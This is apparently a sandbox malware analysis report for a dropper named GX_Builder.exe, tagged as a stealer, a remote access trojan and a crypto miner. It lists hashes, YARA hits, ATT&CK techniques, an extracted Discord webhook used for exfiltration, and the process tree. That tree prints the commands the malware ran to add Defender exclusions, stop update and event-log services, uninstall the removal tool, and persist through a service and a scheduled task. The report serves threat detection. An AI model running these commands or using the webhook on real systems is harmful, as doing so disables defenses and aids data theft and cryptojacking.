growtopia | 965e26ab119bb1fe78e0f2e9f3a4b85de6b308100faa6c12dd6aa60ee52f42ef

Analysis

max time kernel
93s
max time network
82s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
22-02-2024 18:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

GX_Builder.exe
Size

12.9MB
MD5

de6416915830c63685b6771684689d36
SHA1

f3516b1816295056c870e3c15a52aafbf4e9aab3
SHA256

965e26ab119bb1fe78e0f2e9f3a4b85de6b308100faa6c12dd6aa60ee52f42ef
SHA512

7efb6ba401dad084f2e7aa0af834171724168f2bd28da2d28fd3c1083b6286b262f352fe6dac703eacb5624f8b810918293d563353dafd85ac96532da61f25a7
SSDEEP

393216:oNOnxeqv5yEgPDflLNVga2D3o5Doo7Mm:0OnxD56DtLzGD3ohoo7Mm

Score

10^/10

growtopia xmrig zgrat evasion miner persistence pyinstaller rat stealer upx

Malware Config

Extracted

Family

growtopia

https://discord.com/api/webhooks/1199763266872803338/8vedcXoMcyExhe1xhBm5f8ncmafWmOB3pkulE0l8g9Pel0t3ziyr2V51cLTVEjYsE4Rj

Signatures

Detect ZGRat V1 8 IoCs

resource	yara_rule
behavioral1/memory/2980-57-0x00000000004E0000-0x000000000054C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2980-68-0x00000000004E0000-0x0000000000545000-memory.dmp	family_zgrat_v1
behavioral1/memory/2980-70-0x00000000004E0000-0x0000000000545000-memory.dmp	family_zgrat_v1
behavioral1/memory/2980-79-0x00000000004E0000-0x0000000000545000-memory.dmp	family_zgrat_v1
behavioral1/memory/2980-81-0x00000000004E0000-0x0000000000545000-memory.dmp	family_zgrat_v1
behavioral1/memory/2980-85-0x00000000004E0000-0x0000000000545000-memory.dmp	family_zgrat_v1
behavioral1/memory/2980-83-0x00000000004E0000-0x0000000000545000-memory.dmp	family_zgrat_v1
behavioral1/memory/2980-87-0x00000000004E0000-0x0000000000545000-memory.dmp	family_zgrat_v1

Growtopia
Growtopa is an opensource modular stealer written in C#.
stealer growtopia
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral1/memory/2960-123-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2960-124-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2960-126-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2960-127-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2960-128-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2960-129-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2960-130-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2960-131-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2960-132-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 9 IoCs

pid	Process
2980	Ilkdt.exe
2616	WinHostMgr.exe
2540	WinErrorMgr.exe
2548	Sahyui1337.exe
2504	KeyGeneratorTOP.exe
2536	KeyGeneratorTOP.exe
2732	WinErrorMgr.exe
480	Process not Found
2768	bauwrdgwodhv.exe

Loads dropped DLL 11 IoCs

pid	Process
1624	GX_Builder.exe
1624	GX_Builder.exe
1624	GX_Builder.exe
1624	GX_Builder.exe
1624	GX_Builder.exe
1624	GX_Builder.exe
2660	Process not Found
2504	KeyGeneratorTOP.exe
2536	KeyGeneratorTOP.exe
2540	WinErrorMgr.exe
480	Process not Found

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2960-118-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-119-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-120-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-122-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-121-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-123-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-124-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-126-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-127-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-128-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-129-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-130-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-131-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2960-132-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
2	discord.com
3	discord.com
11	pastebin.com
12	pastebin.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	WinHostMgr.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	bauwrdgwodhv.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2768 set thread context of 1692	2768	bauwrdgwodhv.exe	91
PID 2768 set thread context of 2960	2768	bauwrdgwodhv.exe	98

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1740	sc.exe
2356	sc.exe
2936	sc.exe
2804	sc.exe
1104	sc.exe
2500	sc.exe
2396	sc.exe
1864	sc.exe
908	sc.exe
748	sc.exe
1488	sc.exe
2216	sc.exe
2052	sc.exe
696	sc.exe

Detects Pyinstaller 5 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x0007000000016ced-33.dat	pyinstaller
behavioral1/files/0x0007000000016ced-34.dat	pyinstaller
behavioral1/files/0x0007000000016ced-32.dat	pyinstaller
behavioral1/files/0x0007000000016ced-30.dat	pyinstaller
behavioral1/files/0x0007000000016ced-51.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1628	schtasks.exe

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 704605a3b965da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates	explorer.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
2080	powershell.exe
2548	Sahyui1337.exe
2548	Sahyui1337.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2616	WinHostMgr.exe
2768	bauwrdgwodhv.exe
2044	powershell.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2768	bauwrdgwodhv.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
1368	powershell.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe
2960	explorer.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	Ilkdt.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	2548	Sahyui1337.exe
Token: SeShutdownPrivilege	640	powercfg.exe
Token: SeShutdownPrivilege	2856	powercfg.exe
Token: SeShutdownPrivilege	2376	powercfg.exe
Token: SeShutdownPrivilege	1944	powercfg.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeShutdownPrivilege	2928	powercfg.exe
Token: SeShutdownPrivilege	1592	powercfg.exe
Token: SeShutdownPrivilege	1564	powercfg.exe
Token: SeShutdownPrivilege	1596	powercfg.exe
Token: SeLockMemoryPrivilege	2960	explorer.exe
Token: SeDebugPrivilege	1368	powershell.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 2080	1624	GX_Builder.exe	28
PID 1624 wrote to memory of 2080	1624	GX_Builder.exe	28
PID 1624 wrote to memory of 2080	1624	GX_Builder.exe	28
PID 1624 wrote to memory of 2080	1624	GX_Builder.exe	28
PID 1624 wrote to memory of 2980	1624	GX_Builder.exe	30
PID 1624 wrote to memory of 2980	1624	GX_Builder.exe	30
PID 1624 wrote to memory of 2980	1624	GX_Builder.exe	30
PID 1624 wrote to memory of 2980	1624	GX_Builder.exe	30
PID 1624 wrote to memory of 2616	1624	GX_Builder.exe	31
PID 1624 wrote to memory of 2616	1624	GX_Builder.exe	31
PID 1624 wrote to memory of 2616	1624	GX_Builder.exe	31
PID 1624 wrote to memory of 2616	1624	GX_Builder.exe	31
PID 1624 wrote to memory of 2540	1624	GX_Builder.exe	33
PID 1624 wrote to memory of 2540	1624	GX_Builder.exe	33
PID 1624 wrote to memory of 2540	1624	GX_Builder.exe	33
PID 1624 wrote to memory of 2540	1624	GX_Builder.exe	33
PID 1624 wrote to memory of 2548	1624	GX_Builder.exe	32
PID 1624 wrote to memory of 2548	1624	GX_Builder.exe	32
PID 1624 wrote to memory of 2548	1624	GX_Builder.exe	32
PID 1624 wrote to memory of 2548	1624	GX_Builder.exe	32
PID 1624 wrote to memory of 2504	1624	GX_Builder.exe	34
PID 1624 wrote to memory of 2504	1624	GX_Builder.exe	34
PID 1624 wrote to memory of 2504	1624	GX_Builder.exe	34
PID 1624 wrote to memory of 2504	1624	GX_Builder.exe	34
PID 2504 wrote to memory of 2536	2504	KeyGeneratorTOP.exe	36
PID 2504 wrote to memory of 2536	2504	KeyGeneratorTOP.exe	36
PID 2504 wrote to memory of 2536	2504	KeyGeneratorTOP.exe	36
PID 2540 wrote to memory of 2732	2540	WinErrorMgr.exe	37
PID 2540 wrote to memory of 2732	2540	WinErrorMgr.exe	37
PID 2540 wrote to memory of 2732	2540	WinErrorMgr.exe	37
PID 2540 wrote to memory of 2732	2540	WinErrorMgr.exe	37
PID 2732 wrote to memory of 1628	2732	WinErrorMgr.exe	38
PID 2732 wrote to memory of 1628	2732	WinErrorMgr.exe	38
PID 2732 wrote to memory of 1628	2732	WinErrorMgr.exe	38
PID 2732 wrote to memory of 1628	2732	WinErrorMgr.exe	38
PID 2604 wrote to memory of 2788	2604	cmd.exe	48
PID 2604 wrote to memory of 2788	2604	cmd.exe	48
PID 2604 wrote to memory of 2788	2604	cmd.exe	48
PID 2812 wrote to memory of 3032	2812	cmd.exe	77
PID 2812 wrote to memory of 3032	2812	cmd.exe	77
PID 2812 wrote to memory of 3032	2812	cmd.exe	77
PID 2768 wrote to memory of 1692	2768	bauwrdgwodhv.exe	91
PID 2768 wrote to memory of 1692	2768	bauwrdgwodhv.exe	91
PID 2768 wrote to memory of 1692	2768	bauwrdgwodhv.exe	91
PID 2768 wrote to memory of 1692	2768	bauwrdgwodhv.exe	91
PID 2768 wrote to memory of 1692	2768	bauwrdgwodhv.exe	91
PID 2768 wrote to memory of 1692	2768	bauwrdgwodhv.exe	91
PID 2768 wrote to memory of 1692	2768	bauwrdgwodhv.exe	91
PID 2768 wrote to memory of 1692	2768	bauwrdgwodhv.exe	91
PID 2768 wrote to memory of 1692	2768	bauwrdgwodhv.exe	91
PID 2768 wrote to memory of 2960	2768	bauwrdgwodhv.exe	98
PID 2768 wrote to memory of 2960	2768	bauwrdgwodhv.exe	98
PID 2768 wrote to memory of 2960	2768	bauwrdgwodhv.exe	98
PID 2768 wrote to memory of 2960	2768	bauwrdgwodhv.exe	98
PID 2768 wrote to memory of 2960	2768	bauwrdgwodhv.exe	98

C:\Users\Admin\AppData\Local\Temp\GX_Builder.exe
"C:\Users\Admin\AppData\Local\Temp\GX_Builder.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAeAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAeQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAeAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAcQBsACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2080
- C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
  "C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2616
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1368
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2604
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:2788
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2804
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1104
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:1488
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1864
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:908
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1944
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:640
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2376
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2856
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GMDTJRUT" binpath= "C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:696
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:2216
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:1740
- C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe
  "C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2548
- C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe
    "C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /Create /TN "WindowsErrorHandler" /XML "C:\Users\Admin\AppData\Local\Temp\tmpB71F.tmp" /F
      4⤵
      Creates scheduled task(s)
      PID:1628
- C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe
  "C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe
    "C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2536

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2044
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2356
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2936
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2500
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:748
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1692
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1592
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1596
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1564
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2928
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2960

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
1⤵
- Drops file in Windows directory
PID:3032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
2.4MB

MD5
8d7200de17bba6125eff6ea47524fd86

SHA1
e1a45ee72878b3fdd1a3d3858dffcdd9067985c6

SHA256
0613c187041486e213deefff3e0d004b5261ad506020c34ea507659501433a0a

SHA512
dcaeb22f599e0f7e1754955fa095921370e47f05eb8836f70776dcf303b998d1e07da453fe3b8c6df8f8dbd507f8e5dd057cc54eaf11ea53c069f898756484d1

Download Submit
C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
1.6MB

MD5
5c293c1035cad3f8a85305b2a9177309

SHA1
ad6c6ca256f5b678cb2b6067222b153465b98240

SHA256
37b41d250019d599087c0e441f96238f92f425ed663a3e931aa0114541f3cb22

SHA512
4e6976f0c747dd7bd6f770279f942fe4141e1d6f103f8b33684baad59a8feb19eed1a01decde6f9ff2944ba3536addcf15a5190773ad8e8bdf3c784886d427ab

Download Submit
C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe

Filesize
6.6MB

MD5
d06e937eba4314100056574b769ea048

SHA1
8b2cb85244d9737c6033ff571b98976d2feb6c9a

SHA256
2dea69b0d5107322c31b236ed52c82f580de1df18d9fbea732123efdaaa60112

SHA512
367fc0ed156d1a95c337ff0f145ebeb142e38e61022496b2df310320baa709eeb308ad8d81711ede5d966c23d920f58a53979f4512b1f83f7eab21504a199d57

Download Submit
C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe

Filesize
6.4MB

MD5
0dcce34e219836279c54451e3c02da4f

SHA1
b713c2738407b2fa372c37f5ab40cbf52aa817d1

SHA256
485d6ad49fbd8301402c61124caa15d69402f484248594b7a8d3bcb64045002b

SHA512
695714362e8dcbb2b0c2be8f7f1b2276b85953a7c6c6c12d336c1b81b111833102377d8d1163dea4844751a06e8339a7d6e04cf945806db134a9904e24440ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe

Filesize
6.9MB

MD5
bd0e4823fbfed11abb6994db7d0e6c09

SHA1
8694f5a67686070fc81445edebef8ead6c38aca8

SHA256
a83dc0d4764f8e41e061dd4e331f341b09cc994fc339fed2445692df7b98affe

SHA512
37f7e77407571c8f4ac298a4580610b0787e7cf8c8993e6816895a1caa71e0c4d97b72f525b9f054071fbf14bf9e87c48c67b39dcc01448213a995d036ff84e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
5.0MB

MD5
e222309197c5e633aa8e294ba4bdcd29

SHA1
52b3f89a3d2262bf603628093f6d1e71d9cc3820

SHA256
047a7ca1b8848c1c0e3c0fcc6ece056390760b24580f27f6966b86b0c2a1042b

SHA512
9eb37686e0cee9ec18d12a4edd37c8334d26650c74eae5b30231c2b0db1628d52848123c9348c3da306ec950b827ec0a56cdf43ee325a9e280022c68193d8503

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI25042\python312.dll

Filesize
6.7MB

MD5
48ebfefa21b480a9b0dbfc3364e1d066

SHA1
b44a3a9b8c585b30897ddc2e4249dfcfd07b700a

SHA256
0cc4e557972488eb99ea4aeb3d29f3ade974ef3bcd47c211911489a189a0b6f2

SHA512
4e6194f1c55b82ee41743b35d749f5d92a955b219decacf9f1396d983e0f92ae02089c7f84a2b8296a3062afa3f9c220da9b7cd9ed01b3315ea4a953b4ecc6ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpB71F.tmp

Filesize
1KB

MD5
7f673f709ab0e7278e38f0fd8e745cd4

SHA1
ac504108a274b7051e3b477bcd51c9d1a4a01c2c

SHA256
da5ab3278aaa04fbd51272a617aef9b903ca53c358fac48fc0f558e257e063a4

SHA512
e932ccbd9d3ec6ee129f0dab82710904b84e657532c5b623d3c7b3b4ce45732caf8ff5d7b39095cf99ecf97d4e40dd9d755eb2b89c8ede629b287c29e41d1132

Download Submit
\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
3.6MB

MD5
3480130083af1746b8b6e4071fb0b5ee

SHA1
afce40fe39463c0dc56c82b4781c7e160df17d23

SHA256
da01f392254b5bc24034dd2d92357a49a2eae21bb296720a6a822ba3119e0fe9

SHA512
8b7768dcc7593d01d8d6ee7385db46b11cdf488b6d4c4b1e35256b920bf9bcbd8c689c097f84062dd27fcb3c093c3ec9c4092991dbb6750d18c26c1ab4386ffa

Download Submit
\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
3.1MB

MD5
73d31366771da793824b6caea0579162

SHA1
140f982ab118dea79c008abe2adc22cac7743577

SHA256
d6f0d3c97e60a52778c06112d0e148de711130a8f1f488eb083f0d0544f4b267

SHA512
de50a70c97bb15a55cce1ad672b23c4403224891cc1d133bad93bd9b2a9a06134f2cdfa69829825dbabb0e34e858d1dbd3281cca81e154a2afd0792418f6f82a

Download Submit
\Users\Admin\AppData\Local\Temp\Ilkdt.exe

Filesize
191KB

MD5
e004a568b841c74855f1a8a5d43096c7

SHA1
b90fd74593ae9b5a48cb165b6d7602507e1aeca4

SHA256
d49013d6be0f0e727c0b53bce1d3fed00656c7a2836ceef0a9d4cb816a5878db

SHA512
402dd4d4c57fb6f5c7a531b7210a897dfe41d68df99ae4d605944f6e5b2cecaafa3fe27562fe45e7e216a7c9e29e63139d4382310b41f04a35ad56115fbed2af

Download Submit
\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe

Filesize
6.8MB

MD5
c083946065d83c686551acda76f75314

SHA1
d5c61fb8fce5e2e4227eb44483ed239cc75bff06

SHA256
9dfe5d2dc9ca50329bdcf8fece66e06ad9ea7de540c87bdced245da20cc5be27

SHA512
5d7935b789ac5269396525e0a4ef4586a4b60abaa507f68d114904aab3a5db1548070e6b1c36a445d7e8bb444a83b121d135a23c604354929cb2200019d00afb

Download Submit
\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe

Filesize
5.8MB

MD5
92629db7fdc1863858b2c818f614676a

SHA1
8ab043bec7904ac999415a7b4e05f7d74816834b

SHA256
36b46bafb690f490cd11da8542eaa74ce740f5de379859e063ba43bca02862e5

SHA512
4ae82bca3fabcb5a5bd7f6b4a9a91de6b188300626ed0b35b22e20c843887c7ae134c0cb5b9b627f2cfd930544b2a638c1cd5bcba26f10db5826fc7da2c7c2a0

Download Submit
\Users\Admin\AppData\Local\Temp\Sahyui1337.exe

Filesize
316KB

MD5
675d9e9ab252981f2f919cf914d9681d

SHA1
7485f5c9da283475136df7fa8b62756efbb5dd17

SHA256
0f055835332ef8e368185ae461e7c9eacdeb3d600ea550d605b09a20e0856e2d

SHA512
9dd936705fd43ebe8be17fcf77173eaaf16046f5880f8fe48fc68ded91ef6202ba65c605980bd2e330d2c7f463f772750a1bd96246fffdc9cb6bf8e1b00a2ccb

Download Submit
\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe

Filesize
42KB

MD5
d499e979a50c958f1a67f0e2a28af43d

SHA1
1e5fa0824554c31f19ce01a51edb9bed86f67cf0

SHA256
